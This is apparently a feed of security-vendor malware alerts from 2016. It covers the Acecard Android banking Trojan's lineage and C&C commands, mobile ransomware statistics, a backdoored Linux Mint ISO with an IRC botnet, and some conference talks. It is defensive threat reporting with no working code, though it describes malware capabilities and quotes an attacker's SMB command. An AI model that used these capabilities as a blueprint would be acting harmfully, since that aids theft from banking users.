In Australia, the Trojan-Banker.AndroidOS.Acecard family was responsible for most infection attempts. This family is a new stage in the evolution of Backdoor.AndroidOS.Torec.a, the first Trojan for Android that made use of Tor. We detected this Trojan at the beginning of 2014, while the first banking modifications appeared in mid-2014. At that time the Trojan was distributed mainly in Russia, and only in 2015 did it begin to spread actively in Australia. One modification, which we detected in November 2015, is able to overlay the interfaces of 24 banking apps with a phishing window. Five of those apps belong to Australian banks, another four each belong to banks based in Hong Kong, Austria and New Zealand, three each to banks in Germany and Singapore, plus the PayPal app. In addition, there are modifications which target banks in the US and Russia.

Phishing windows of the Acecard Trojan

Stealing user logins and passwords by displaying a phishing window instead of the genuine app interface is not a new trick. We first came across it back in 2013 in Trojan-SMS.AndroidOS.Svpeng. In our IT threat evolution in Q1 2015 report we mentioned Trojan-SMS.AndroidOS.OpFake.cc which was capable of attacking at least 29 banking and financial apps. The latest modification of this Trojan can now attack 114 banking and financial apps. Its main goal is to steal the login credentials for bank accounts. It also overlays the windows of several popular mail applications.

In Russia, which ranked third in the TOP 10, Trojan-Banker.AndroidOS.Faketoken and Trojan-Banker.AndroidOS.Marcher were the most popular programs used by attackers. Starting in April, we saw a sharp drop in the number of attempts to infect users with representatives of the Trojan-Banker.AndroidOS.Marcher family. During the five months from April to August, the number of attacks using this Trojan decreased fivefold. It is possible that the cybercriminals were preparing attacks on users in other countries during that time, because until September 2015 activity by this family was limited almost exclusively to Russia. From September, however, about 30% of the attacks using this Trojan targeted users in Australia, Germany and France.

The aforementioned Trojan-Spy.AndroidOS.SmsThief.fc was distributed in Russia. The attackers added their code to the original banking app without affecting its performance, making this Trojan more difficult to detect.

Mobile Trojan-Ransom

In 2015, the amount of the Trojan-Ransom families doubled compared to 2014. The number of modifications detected during the same period increased 3.5 times and accounted for 6,924.

Over the reporting period, mobile ransomware attacked 94,344 unique users which is five times more than in 2014 (18,478). The share of unique users attacked by Trojan-Ransom programs relative to all users attacked by mobile malware increased from 1.1% to 3.8% during the year.

Mobile ransomware attacks were registered in 156 countries and territories at least once during the year.

Geography of mobile ransomware threats in 2015 (number of users attacked)

TOP 10 countries attacked by Trojan-Ransom malware by the number of attacked users:

Country Number of attacked users 1 Russia 44951 2 Germany 15950 3 Kazakhstan 8374 4 US 5371 5 Ukraine 4250 6 UK 2878 7 Italy 1313 8 Spain 1062 9 Iran 866 10 India 757

Russia, Germany and Kazakhstan were the countries attacked most often by ransomware.

In Russia and Kazakhstan, the Trojan-Ransom.AndroidOS.Small family was most active, in particular the modification Trojan-Ransom.AndroidOS.Small.o, the most popular Trojan-Ransom program in 2015.

The Trojan-Ransom.AndroidOS.Pletor family also remained very popular in 2015. Interestingly, this first mobile encryptor Trojan was developed by the same group of cybercriminals as Trojan-Banker.AndroidOS.Acecard.

In Germany, Trojan-Ransom.AndroidOS.Fusob was the most actively distributed family.

Windows opened by the Fusob Trojan

The US came fourth in the ranking. The Trojan-Ransom.AndroidOS.Fusob family was especially popular in the country, although the Trojan-Ransom.AndroidOS.Svpeng family was also actively used.

This ranking depends to a large extent on the number of users in each country, so it is interesting to view a rating that shows the proportion of users attacked by Trojan-Ransom malware relative to all attacked users in the country.

TOP 10 countries attacked by Trojan-Ransom malware – share of users relative to all attacked users in the country.

Country % of all attacked users* 1 Kazakhstan 15.1 2 Germany 14.5 3 US 10.3 4 Canada 8.9 5 Netherlands 8.8 6 UK 8.3 7 Switzerland 6.9 8 Austria 6.4 9 Ukraine 5.9 10 Australia 5.5

* Percentage of users attacked by Trojan-Ransom malware, relative to all attacked users of Kaspersky Lab’s mobile security products in the country

Russia, which accounted for the largest number of attacked users, was not in the TOP 10. The leaders of the ranking were Kazakhstan, Germany and the US.

Conclusion

Despite the fact that the first advertising Trojans exploiting super-user privileges for their own purposes appeared a few years ago, in 2015 their number increased substantially and started spreading rapidly. In the first quarter of 2015 the most popular threats included just one Trojan of this type, but by the end of the year these programs accounted for more than half of the TOP 20. They are distributed using all available means – via other advertising programs, via app stores and can be even pre-installed in some devices. The number of advertising Trojans using super-user privileges will most likely continue to grow in 2016.

We have already seen cases when advertising Trojans were used to spread malicious mobile programs. There is every reason to believe that attackers will increasingly use these Trojans to infect mobile devices with malware.

We also came across cases where super-user privileges were utilized by other types of malware, especially ransomware.

Trojan-Ransom malware is likely to continue evolving in 2016. We expect the popularity of these programs among attackers to grow and their global reach to increase.

Another type of Trojan that we intend to continue monitoring closely in 2016 is Trojan-Banker. There are already lots of banking Trojans that do not require additional software on the victim’s computer. These Trojans operate independently, and only need to infect the user’s phone to steal his money. They are able to steal logins and passwords for mobile banking accounts by overlaying the legitimate banking app interfaces with a phishing window. The Trojans can also steal credit card data using phishing windows. In addition, they have functionality to intercept communications between a client and a bank – stealing incoming text messages and forwarding calls to the attacker. In 2016, banking Trojans will attack even more banking institutions and will use new distribution channels and new data theft technologies.

As the functionality of mobile devices and mobile services grows, the appetite of cybercriminals who profit from mobile malware will grow too. Malware authors will continue to improve their creations, develop new technologies and look for new ways of spreading mobile malware. Their main aim is to make money. In these circumstances, neglecting to protect your mobile devices is extremely risky.

The Evolution of Acecard

Malware Alerts - Mon, 02/22/2016 - 09:53

While working on the IT Threat Evolution report for Q3 2015, we discovered that Australia had become the leading country in terms of number of users attacked by mobile banker Trojans. We decided to find out what was behind this jump in activity and managed to identify the cause: Trojan-Banker.AndroidOS.Acecard. This family accounted for almost all the banker Trojan attacks in Australia.

After analyzing all the known malware modifications in this family, we established that they attack a large number of different applications. In particular, the targets include nine official social media apps that the Trojan attacks in order to steal passwords. Two other apps are targeted by the Trojan for their credit card details. But most interestingly, the list includes nearly 50 financial apps (client software for leading global payment systems and banks) and services, and the various modifications of Acecard make use of all the tools at their disposal to attack them – from stealing bank text messages to overlaying official app windows with phishing messages.

Here is another interesting fact that we established while investigating the Trojan: the modifications of Acecard were written by the same cybercriminals who earlier created Backdoor.AndroidOS.Torec.a, the first TOR Trojan for Android, as well as Trojan-Ransom.AndroidOS.Pletor.a, the first encryptor for mobile devices. All three Trojans run on Android.

How it all started

Given Acecard’s growing popularity and the rich criminal past of its creators, we decided to delve deeper into the history of this malware family.

It all started with Backdoor.AndroidOS.Torec.a. The first version of this malicious program was detected in February 2014 and could perform the following commands from the C&C server:

  • #intercept_sms_start – start intercepting incoming SMSs;
  • #intercept_sms_stop – stop intercepting incoming SMSs;
  • #ussd – create a USSD request;
  • #listen_sms_start – start stealing incoming SMSs;
  • #listen_sms_stop – stop stealing incoming SMSs;
  • #check – send information about the phone (phone number, country of residence, IMEI, model, OS version) to C&C;
  • #grab_apps – send a list of applications installed on the mobile device to the C&C;
  • #send_sms – send an SMS to numbers specified in the command;
  • #control_number – change the phone’s control number.

Then, in April 2014, a new version emerged with more capabilities. The additional commands were:

  • #check_gps – send the device’s coordinates to the C&C;
  • #block_numbers – add numbers to the SMS interception list;
  • #unblock_all_numbers – clear the SMS interception list;
  • #unblock_numbers – remove specified numbers from the SMS interception list;
  • #sentid – send an SMS with the Trojan’s ID to a specified number.

In late May 2014, we detected the first mobile encryptor, Trojan-Ransom.AndroidOS.Pletor.a. It encrypted files on the device and demanded a ransom for them to be decrypted. Some modifications of Pletor used TOR to communicate with the C&C.

A month later, we detected a new modification, Backdoor.AndroidOS.Torec. Unlike previous versions, it did not use TOR and targeted credit card details: the Trojan overlaid the official Google Play Store app with a phishing window that included data entry fields.

We assigned the verdict Trojan-Banker.AndroidOS.Acecard.a to this modification, and classified it as a separate family of malware. From that moment on, all new versions of the Trojan have been detected as belonging to the Acecard family.

An analysis and comparison of the code used in Backdoor.AndroidOS.Torec.a, Trojan-Ransom.AndroidOS.Pletor.a and Trojan-Banker.AndroidOS.Acecard.a has shown they were all written by the same cybercriminals. Here are some clear examples:

Code from the SmsProcessor class of the Trojan Backdoor.AndroidOS.Torec.a

Code from the SmsProcessor class of Trojan-Banker.AndroidOS.Acecard.a

Code from the SmsProcessor class of Trojan-Ransom.AndroidOS.Pletor.a

Here is another example:

Code from the SmsProcessor class of the Trojan Backdoor.AndroidOS.Torec.a

Code from the SmsProcessor class of Trojan-Banker.AndroidOS.Acecard.a

Code from the SmsProcessor class of Trojan-Ransom.AndroidOS.Pletor.a

A lot of the class, method and variable names are the same for all three Trojans. The code of the corresponding methods is either the same or very similar with only minor differences.

Acecard’s progress

The initial Trojan, Trojan-Banker.AndroidOS.Acecard.a, could only handle four commands sent from the C&C:

  • #intercept_sms_start – start intercepting incoming SMSs;
  • #intercept_sms_stop – stop intercepting incoming SMSs;
  • #send_sms – send an SMS to the number specified in the command;
  • #control_number – change the phone’s control number.

The next modification of Acecard was detected in late August 2014 and used the TOR network for C&C communication, just like the earlier Pletor. Besides that, we identified two more differences. Firstly, the list of supported commands had grown to 15; nearly all of these commands had been seen before in earlier versions of the Trojan Torec:

  • #intercept_sms_start – start intercepting incoming SMSs;
  • #intercept_sms_stop – stop intercepting incoming SMSs;
  • #ussd – create a USSD request;
  • #check_gps – send the device’s coordinates to the C&C;
  • #block_numbers – add numbers to the list of senders from which SMSs will be intercepted;
  • #unblock_all_numbers – clear the SMS interception list;
  • #unblock_numbers – remove specified numbers from the SMS interception list;
  • #listen_sms_start – start stealing incoming SMSs;
  • #listen_sms_stop – stop stealing incoming SMSs;
  • #check – send the Trojan’s ID to the C&C;
  • #grab_apps – send the list of applications installed on the mobile device to the C&C;
  • #send_sms – send an SMS to the number specified in the command;
  • #control_number – change the phone’s control number;
  • #sentid – send an SMS with the Trojan’s ID to a specified number;
  • #show_dialog – show a dialog window to the user with specific objects (data entry fields, buttons etc.) depending on the C&C command parameters.

The second difference was the number of phishing windows. Along with the official Google Play Store app, this Trojan now overlaid the display of the following apps with its own windows:

  • IM services: WhatsApp, Viber, Instagram, Skype;

  • The apps of the VKontakte, Odnoklassniki and Facebook social networks

  • The Gmail client

  • The official Twitter client

In the second half of October 2014, we detected the next modification of Acecard. It no longer used TOR (neither have any of the versions of the Trojan subsequently detected). However, there was another, more important difference: starting with this version of the Trojan, there have been dramatic changes in the geography of the targeted users. The earlier versions mostly attacked users in Russia, but starting in October 2014 the bulk of Acecard attacks targeted users in Australia, Germany and France. Russia accounted for just 10% of the attacked users. This trend continued for another four months, until February 2015, but even then Australia, Germany and France still remained among the most frequently attacked countries.

At the same time, the geography of Pletor attacks remained largely unchanged: most attacks targeted, and continue to target, users in Russia and the US. The TOP 5 most attacked countries also includes Ukraine, Belarus and Saudi Arabia.

A new modification of Acecard emerged in mid-November 2014. As well as stealing passwords from popular social network clients, it started to overlay the banking app of Australia’s most popular bank with a phishing window. Just two days later, we managed to detect another modification of this Trojan that was already attacking the apps of four Australian banks.

This functionality has persisted up to the very latest Trojan-Banker.AndroidOS.Acecard modifications that we detect.

This version of Acecard also checks the country code and the service provider code as it launches, and if it finds itself in Russia, it shuts down. This check is carried out in almost all subsequent modifications. Interestingly, similar changes to Trojan-Ransom.AndroidOS.Pletor only took place in late March 2015, and did not extend to all versions of the malware.

For the next nine months, there was practically no change in the functionality of the new Acecard modifications that emerged, until early August 2015 when we detected a new version that was capable of overlaying the PayPal mobile app with its own phishing window.

There was also a new command that this version could perform – #wipe. When this command is received, Acecard resets the mobile device to factory settings.

It should be noted that there has been a dramatic increase in Acecard developer activity since June 2015. Before, we typically identified 2-5 files a month related to this Trojan; since June we have detected around 20 files per month.

Number of Acecard files detected each month

The graph above shows the number of files associated with the banking Trojan Acecard that are detected each month; these include both the modifications of Acecard and related files, such as downloader Trojans. The dramatic rise in file numbers detected in November and especially December is down to the malware writers making active use of a commercial code obfuscator and the emergence of obfuscated versions of the Trojan.

Also at this time, there was an increase in the number of attacks using this malicious program.

The number of unique users attacked by Acecard per month

In the first half of September, we detected a new modification of Acecard. Its new capabilities included overlaying the windows of more mobile banking apps, including those of one Australian bank, four New Zealand banks and three German banks.

It means this modification of the Trojan is capable of overlaying 20 apps – including 13 banking apps – with a phishing window.

The subsequent development of Acecard’s “banking business” then got even faster:

  • The next modification emerged just several days later, and was capable of overlaying as many as 20 banking applications. The list of targeted apps grew to include another app belonging to an Australian bank, four apps for Hong Kong banks and three for Austrian banks.
  • In late September, a new modification came out with a new functionality: the malicious program included a list of bank phone numbers, so text messages arriving from those banks are redirected to the cybercriminal. The Trojan has a list of phrases, so it can compare incoming text messages and identify those with verification codes for bank operations or registration, and send just the code to the cybercriminal, rather than the full SMS. This version of Acecard intercepts SMSs from 17 Russian banks.
  • Early October saw the emergence of a new modification that attacked the banking apps of the three largest US banks. Interestingly, from the very start, the US has been among the TOP 10 countries most often attacked by this Trojan; however, December 2015 saw a dramatic rise in the number of attacks on US users. In that month, the US came third in terms of the number of unique users attacked by this malware.
  • In mid-October, a new modification appeared capable of overlaying as many as 24 financial applications, including apps belonging to five Australian banks, four Hong Kong banks, four Austrian banks, four New Zealand banks, three German banks, three Singapore banks, and the PayPal app.
  • A new modification was detected in early November that has a phishing window that targets an app belonging to a Spanish bank.

It should also be noted that virtually all versions of Acecard can handle a C&C command that orders the Trojan to overlay any specified app with its own window. Perhaps the cybercriminals thought this option was more promising, because many of the versions detected in November and December 2015 have a dedicated window that only overlays Google Play and Google Music apps to target credit card details. No other applications will be overlaid without first receiving the appropriate C&C command.

The most recent versions of the Acecard family can attack the client applications of more than 30 banks and payment systems. Considering that these Trojans are capable of overlaying any application upon command, the overall number of attacked financial applications may be much larger.

Although the Trojans belonging to this family can attack users from a long list of countries, most attacks target users in Russia, Australia, Germany, Austria and France.

Number of unique users attacked by country

In Germany and Australia, the Trojan-Banker.AndroidOS.Acecard family is the most widespread type of mobile banker Trojan targeting users.

Propagation

In many countries, Trojans belonging to the Acecard family are typically distributed with the names Flash Player or PornoVideo, although other names are sometimes used in a bid to imitate useful and popular software. This malware family also propagates with the help of downloader Trojans that are detected by Kaspersky Lab’s products as Trojan-Downloader.AndroidOS.Acecard.

We should note that on 28 December we were able to spot a version of the Acecard downloader Trojan – Trojan-Downloader.AndroidOS.Acecard.b – in the official Google Play Store.

A Trojan-Downloader.AndroidOS.Acecard.b page in Google Play Store

The Trojan propagates under the guise of a game, but in reality it has no useful functionality. The main goal of this malicious app is to download and install a fully functional modification of the banking Trojan Acecard. Its creators didn’t even bother to make it look like a legitimate application: when the malware is installed from Google Play, the user will only see an Adobe Flash Player icon on the desktop screen.

We have also been able to detect a new modification of the downloader Trojan, Trojan-Downloader.AndroidOS.Acecard.c. It differs in that the Trojan, once launched, uses vulnerabilities in the system to gain super-user rights. With these privileges – Trojan-Downloader.AndroidOS.Acecard.c can install the banking Trojan Acecard into the system folder, which makes it impossible to delete using standard tools. However, in most cases this propagation method is used to spread another Trojan that we are already familiar with – Trojan-Ransom.AndroidOS.Pletor.

The cybercriminals are using virtually every available method to propagate the banking Trojan Acecard, be it under the guise of another program, via official app stores, or via other Trojans. This combination of propagation methods, which includes the exploitation of vulnerabilities in the operating system, along with Acecard’s capabilities make this mobile banker one of the most dangerous threats to users.

MD5

58FED8B5B549BE7ECBFBC6C63B84A728
8D260AB2BB36AEAF5B033B80B6BC1E6A
CF872ACDC583FE80B8F54957E14355DF
FBBCCD640CE75BD618A7F3187EC1B742
01E8CEA7DF22B1B3CC560ACB049F8EA0
DDCE6CE143CCA26E59063E7A4BB89019
9D34FC3CFCFFEA760FC1ADD377AA626A
03DA636518CCAF432AB68B269F7E6CC3
05EBAA5C7FFA440455ECB3519F923B56
E3FD483AD3731DD62FBE027B4E6880E6
53888352A4A1E3CB810B2A3F51D0BFC2
E1C794A614D5F6AAC38E2AEB77B139DA
54332ED8EA9AED12400A75496972D7D7
5DB57F89A85F647EBBC5BAFBC29C801E
702770D70C7AAB793FFD6A107FD08DAD
CF25782CAC01837ABACBF31130CA4E75
07DF64C87EA74F388EF86226BC39EADF

Beware of Backdoored Linux Mint ISOs

Malware Alerts - Mon, 02/22/2016 - 05:00

Background

Yesterday a blog post on “The Linux Mint Blog” caught our attention. Apparently criminals managed to compromise a vulnerable instance of WordPress which the project used to run their website. The attackers modified download links pointing to backdoored ISO files of Linux Mint 17.3 Cinnamon edition. This “should only impact people who downloaded this edition on February 20th”, the author of the blog stated.

We managed to get our hands on the malware embedded in the ISO images. Let’s have a quick look.

Malware used

The criminals used a simple backdoor, which is controlled via an unencrypted IRC connection. We found five hardcoded C&C addresses. At the time of writing only one of them was available. We saw approx. 50 connected clients just in this channel called “#mint”:

The malware is capable of:

  • running several types of UDP and TCP flooding (used in DDoS attacks)
  • downloading arbitrary files to the victim’s machine
  • executing arbitrary commands on the machine

We’re detecting this type of malware as HEUR:Backdoor.Linux.Tsunami.bh.

According to user reports, the compromised ISO images come with the backdoor’s C-source code, located in /var/lib/man.cy, which is compiled on first startup to “apt-cache” and is then executed.

Activity

While monitoring the C&C channel, we saw the criminal sending several SMB-related commands like “smbtree -N” to the connected bots. Apparently the attacker tries to access SMB/CIFS shares available in the local network of the victims.

Conclusion

In order to detect this kind of attack, one should use PKI with strong cryptographic signatures to ensure the integrity of downloaded software.

Integrity-checks based on file hashes like MD5 or SHA256 are insecure if a project’s website is compromised, since the attacker could also adjust the checksums provided on the website.

Experts: what ATM jackpotting malware is

Malware Alerts - Mon, 02/15/2016 - 06:58

Kaspersky Lab security researchers Santiago Pontirol and Roberto Martinez explain how ATM malware works in Latin America and why it’s difficult to discover ‘jackpotting’ malware. Kaspersky Security Analyst Summit 2016 on Tenerife, Spain.

Expert: cross-platform Adwind RAT

Malware Alerts - Thu, 02/11/2016 - 05:12

Kaspersky Lab researcher Vitaly Kamluk gave a talk about the latest version of the cross-platform Adwind RAT. The remote access Trojan is unique in that it’s written in JavaScript, giving this version — which is also known as Frutas, AlienSpy and JSocket — the flexibility to be used liberally in cybercrime operations as well as in targeted attacks. From Kaspersky Security Analyst Summit 2016 on Tenerife, Spain.

More information:

  1. Adwind FAQ
  2. Full report PDF

Expert: How I hacked my hospital

Malware Alerts - Wed, 02/10/2016 - 07:28

Sergey Lozhkin, senior researcher at Kaspersky Lab’s GReAT gave a talk about several critical vulnerabilities he found in one hospital’s IT infrastructure. From Kaspersky Security Analyst Summit 2016 on Tenerife, Spain.